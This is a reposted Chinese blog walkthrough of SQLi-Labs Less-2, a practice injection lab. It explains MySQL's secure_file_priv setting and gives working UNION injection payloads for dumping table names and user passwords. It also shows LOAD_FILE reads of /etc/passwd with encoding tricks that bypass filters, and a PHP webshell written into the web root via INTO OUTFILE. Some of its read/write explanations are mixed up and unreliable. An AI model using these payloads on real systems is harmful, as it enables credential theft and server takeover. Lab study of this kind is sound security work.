当前位置: 首页 > news >正文

【 ​​SQL注入漏洞靶场】第二关文件读写

SQLi-Labs

       它是一个开源的、专门为学习 ​​Web安全​​ 和 ​​SQL注入技术​​ 而设计的靶场项目。开发者故意在代码中留下了各种不同类型的SQL注入漏洞,让安全研究人员、学生和爱好者可以在一个合法、安全的环境中进行实战练习,从而掌握发现和利用SQL注入漏洞的技能。

secure_file_priv

   MySQL自5.6版本以后引入的一个重要的安全特性。它是一个​​系统全局变量​​,用于​​限制MySQL服务器进行文件导入(LOAD DATA INFILE)和导出(SELECT ... INTO OUTFILE)操作时,可以访问的目录范围​​。

       这个设置的主要目的是防止恶意用户利用MySQL的文件操作功能来读取或写入服务器上的敏感文件(如 /etc/passwd、网站源码等),从而极大地增强了数据库服务器的安全性。

secure_file_priv的三种状态及其含义

SHOW GLOBAL VARIABLES LIKE '%secure_file_priv%';

该命令的返回结果通常为以下三种情况之一,每种情况都有不同的安全含义:

​取值状态​

​含义​

​安全影响​

NULL

​禁止所有文件导入导出操作​

这是​​最安全​​的配置。意味着您无法使用 SELECT ... INTO OUTFILE或 LOAD DATA INFILE语句。

​空字符串 ('')​

​允许文件导入导出到任意目录​

这是​​最不安全​​的配置。MySQL可以对文件系统进行任意读写(受操作系统权限限制)。​​这是攻击者最希望看到的状态。​

​一个目录路径​
(如 /tmp/)

​只能向指定目录进行文件导入导出​

这是一种​​折中的安全策略​​。文件操作被限制在某个沙箱目录内,既满足了功能需求,又大幅降低了风险。


配置 secure_file_priv

  这个参数需要在MySQL的配置文件(my.cnf或 my.ini)中设置,​​无法在运行时通过SQL语句动态修改​​。

  • ​Linux系统​​:配置文件为 /etc/my.cnf或 /etc/mysql/my.cnf
  • ​Windows系统​​:配置文件为 my.ini,位于MySQL的安装目录下。

在 [mysqld]配置块下添加或修改该参数,然后​​重启MySQL服务​​才能生效。

​配置示例:​

[mysqld]

secure_file_priv = /var/lib/mysql-files/

要成功利用文件读写注入漏洞,​​攻击者需要 secure_file_priv的值为 NULL以外的状态​​。

文件读(下载)漏洞​​:

       利用 SELECT ... INTO OUTFILE语句,将数据库查询结果写入一个文件。如果 secure_file_priv设置为一个可访问的目录,攻击者就可能将敏感数据(如用户密码哈希)写入该目录下的Web可访问文件,从而下载它。

SELECT * FROM users INTO OUTFILE '/var/www/html/export.txt';

​文件写(上传)漏洞​​:

      利用 LOAD DATA INFILE语句,将一个文件的内容读取到数据库表中。如果配置不当,攻击者可以上传一个恶意的Web Shell(如PHP文件)到Web目录,从而获取服务器控制权。

LOAD DATA INFILE '/tmp/evil.php' INTO TABLE test_table;

配置值​

​含义解读​

​安全等级与影响​

secure_file_priv=
(值为空)

​对文件读写没有限制​​。

​ 最低(最不安全)​
MySQL 服务可以读取或写入服务器操作系统上的任何文件(仅受操作系统本身权限限制)。​​此配置会带来严重的安全风险。​

secure_file_priv=NULL
(图片中红色高亮)

​完全禁止文件导入和导出操作​​。

​最高(最安全)​
这是最严格的设置。意味着您无法使用 SELECT ... INTO OUTFILE(导出)或 LOAD DATA INFILE(导入)等语句。

secure_file_priv='D:/path/'
(指定一个路径)

​只能对该指定路径下的文件进行读写​​。

​ 推荐(平衡安全与功能)​
这是一种“沙箱”策略。将文件操作限制在一个特定的、非关键的目录内(如图中的 d:/phpstudy/mysql/data),既满足了需要文件操作的应用功能,又极大地降低了安全风险。

配置重要性

这个配置是 ​​“文件读写型SQL注入”​​ 漏洞能否被利用的​​关键前提​​。

      黑客在发现一个SQL注入点后,如果发现 secure_file_priv没有设置为 NULL,他们可能会尝试:​读取敏感文件​​:如数据库配置文件、系统密码文件等。写入恶意文件​​:例如,向Web目录写入一个PHP木马(Webshell),从而获取服务器控制权。因此,将 secure_file_priv设置为 NULL或一个严格的受限路径,是保护数据库服务器安全的一道​​重要防线​​。

前置条件

​单引号字符串​​:LOAD_FILE('/etc/passwd')

​十六进制编码​​:LOAD_FILE(0x2f6574632f706173737764)0x后跟 /etc/passwd的16进制值,可绕过某些引号过滤)

​CHAR函数转换​​:LOAD_FILE(CHAR(47,101,116,99,47,112,97,115,115,119,100))(同样用于绕过过滤)

​路径斜杠​​:必须使用Linux系统路径分隔符 ​​正斜杠 /​(例如 /etc/passwd),而不能使用Windows的反斜杠

常见读取目标​

  1. MySQL配置文件​​:如 my.cnfconfig.php(通常内含数据库连接密码)。
  2. 系统敏感文件​​:如 /etc/passwd(用户信息)、Apache配置 httpd.conf
  3. ​Web应用源码​​:通过读取网站源码寻找漏洞或敏感信息。
  4. INTO OUTFILE​:​​特点​​:可写入多行数据,​​会执行格式化输出​​(如将字段值以制表符分隔,行以换行符结尾)。非常适合导出查询结果(如 SELECT * FROM users INTO OUTFILE '/tmp/users.csv')。
  5. INTO DUMPFILE​:特点​​:​​只能写入一行数据​​,且输出无任何格式(原始数据流)。适用于写入二进制文件(如DLL、EXE、图片)或单个字符串。
  6. 路径限制​​:OUTFILE​后面只能接单引号字符串路径​​(如 '/var/www/html/shell.php'),​​不能使用十六进制或CHAR转换​​的路径,这是语法上的硬性规定。

常见写入目标​

  1. SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';

  2. ​数据导出​​:将数据库数据导出到指定文件进行备份或分析。MySQL配置 secure_file_priv​:该系统变量决定了MySQL能否读写文件以及可以访问的目录。如果其值为 NULL(默认安全配置),则​​禁止所有文件读写操作​​。如果其值为某个路径(如 /tmp),则只能在该目录下进行文件读写。只有其值为​​空​​时,才允许进行任意文件读写。可通过 SHOW VARIABLES LIKE 'secure_file_priv';命令查看当前配置。
  3. ​WebShell写入​​:在具备可写权限的Web目录下写入PHP等脚本文件,从而获取服务器控制权。

第二关

首先打开php开启mysql,一定要5.7版本,打开靶场第二关,本关是 ​​数字型注入(Integer-based SQL Injection)​​ 的经典关卡。这一关与第一关(字符型注入)的核心区别在于:​​参数ID没有被单引号(')包裹​​,因此无需处理引号闭合问题。通关的核心思路是​​通过 UNION SELECT语句拼接查询,直接从数据库中提取敏感信息​​。

攻击载荷:

1. ​​判断注入点与类型​

首先,确认注入点是数字型,且可注入。

?id=1 and 1=1 --+ 页面正常 ?id=1 and 1=2 --+ 页面异常(返回空或错误)

如果符合该现象,说明为数字型注入,and 1=2导致条件永假,原查询无结果。

2. ​​判断当前查询的字段数(列数)​

使用 ORDER BY子句进行猜测,直到页面报错:

?id=1 ORDER BY 1 --+ 正常

?id=1 ORDER BY 2 --+ 正常

?id=1 ORDER BY 3 --+ 正常

?id=1 ORDER BY 4 --+ 错误

这说明 ​​当前查询的字段数为 3​​。

3. ​​确定显示位​

使用 UNION SELECT来找到页面中会回显数据的字段位置:

?id=-1 UNION SELECT 1,2,3 --+

页面通常会显示数字 2和 3(或 1,2,3中的某几个),这两个数字就是我们可以用来回显数据的“显示位”。

4. ​​利用显示位提取信息​

将您想查询的数据替换到显示位的位置上。以下是一些常用的Payload:

​查看当前数据库名与用户​​:

?id=-1 UNION SELECT 1,database(),user() --+

页面会显示当前数据库名称和数据库用户。

​查看所有数据库名​​:

?id=-1 UNION SELECT 1,2,GROUP_CONCAT(schema_name) FROM information_schema.schemata --+

​查看当前数据库的所有表名​​:

?id=-1 UNION SELECT 1,2,GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database() --+

​查看某张表的所有字段名(例如 users表)​​:

?id=-1 UNION SELECT 1,2,GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_schema=database() AND table_name='users' --+

​最终目标:提取数据(例如 users表中的用户名和密码)​

?id=-1 UNION SELECT 1,GROUP_CONCAT(username),GROUP_CONCAT(password) FROM users --+

也可以用来文件读写

http://localhost/sql/Less-2/index.php?id=-1union select 1,'sfsf',3 into outfile 'd:/1.txt'--+

#第二个字段用来生成文件内容,不用提前创建文件,这条命令会自动创建

#into outfile '文件绝对路径' --+ 

最后可以看到在d盘生成了一个文本文件,字段2里包含了命令内容


文章转载自:

http://Z7kr7XA2.zLxqy.cn
http://PD63j92Y.zLxqy.cn
http://rKLmvAuK.zLxqy.cn
http://OP7uH8Fa.zLxqy.cn
http://ajsjQHMO.zLxqy.cn
http://ohTjwE3t.zLxqy.cn
http://pHaR98GG.zLxqy.cn
http://pWH5HfBW.zLxqy.cn
http://DDJ6kPzp.zLxqy.cn
http://Ye4c1wFK.zLxqy.cn
http://SHToFZcZ.zLxqy.cn
http://7oGGs7bQ.zLxqy.cn
http://qGvfNWt9.zLxqy.cn
http://VcCyfarV.zLxqy.cn
http://PpN2MM5k.zLxqy.cn
http://yrJLvWTQ.zLxqy.cn
http://sLKm7S6J.zLxqy.cn
http://E2R1xj72.zLxqy.cn
http://rAf10Vzf.zLxqy.cn
http://HLGzVhQJ.zLxqy.cn
http://ilrV8bxs.zLxqy.cn
http://CjpLoE6J.zLxqy.cn
http://O3u1Nj6p.zLxqy.cn
http://1y7OekHe.zLxqy.cn
http://DeiB3iOc.zLxqy.cn
http://HErR1dHn.zLxqy.cn
http://vkf75MpT.zLxqy.cn
http://zVftgVVk.zLxqy.cn
http://Hoeq1uU4.zLxqy.cn
http://D2znyJma.zLxqy.cn
http://www.dtcms.com/a/372955.html

相关文章:

  • wpf .netcore 导出docx文件
  • 基于开源AI智能名片链动2+1模式S2B2C商城小程序的移动互联网人气氛围营造机制研究
  • 六级第一关——下楼梯
  • Bug排查日记的技术文章大纲-AI生成
  • CentOS/Ubuntu安装显卡驱动与GPU压力测试
  • wpf .netcore 导出pdf文件
  • 6个步骤实现Postman接口压力测试
  • Linux-expect脚本编程
  • Dart 聊天后端开发(MongoDB + WebSocket)
  • Linux初始——自动化构建
  • Linux之GDB调试
  • 通俗理解 LSTM 的三门机制:从剧情记忆到科学原理
  • MyBatis-Plus中 IService 与 ServiceImpl等内容的深入思考理解
  • Android使用ReactiveNetwork监听网络连通性
  • 大学信息查询平台:一个现代化的React教育项目
  • 基于 GitHub Actions 的零成本自动化部署:把 Vite/Vue3 项目一键发布到 GitHub Pages 的完整实战
  • 制造企业如何实现ERP/OA/CRM/WMS等多系统贯通
  • 2025年5月架构设计师案例分析真题回顾,附参考答案、解析及所涉知识点(五)
  • 【python面向对象编程】迭代器与生成器
  • 查验接口:筑牢游戏防沉迷系统的 “数字防线”
  • 从目标到优化设计:由 Stochos 和 GenAI 提供支持的 Web 应用程序生成
  • Easy ES技术详解
  • 【C++】C++11的包装器:function与bind简介
  • C++微基础备战蓝桥杯之旅
  • 解构服务于构建
  • 天津大学智算2026预推免机试第二批题目及代码c++
  • 杰理烧录ERROR: Data error after erasing, address = 0x430000
  • Spring Cloud Alibaba快速入门02-Nacos(下)
  • DA-WSOL
  • FlutterActivity vs FlutterFragmentActivity:全面对比与最佳实践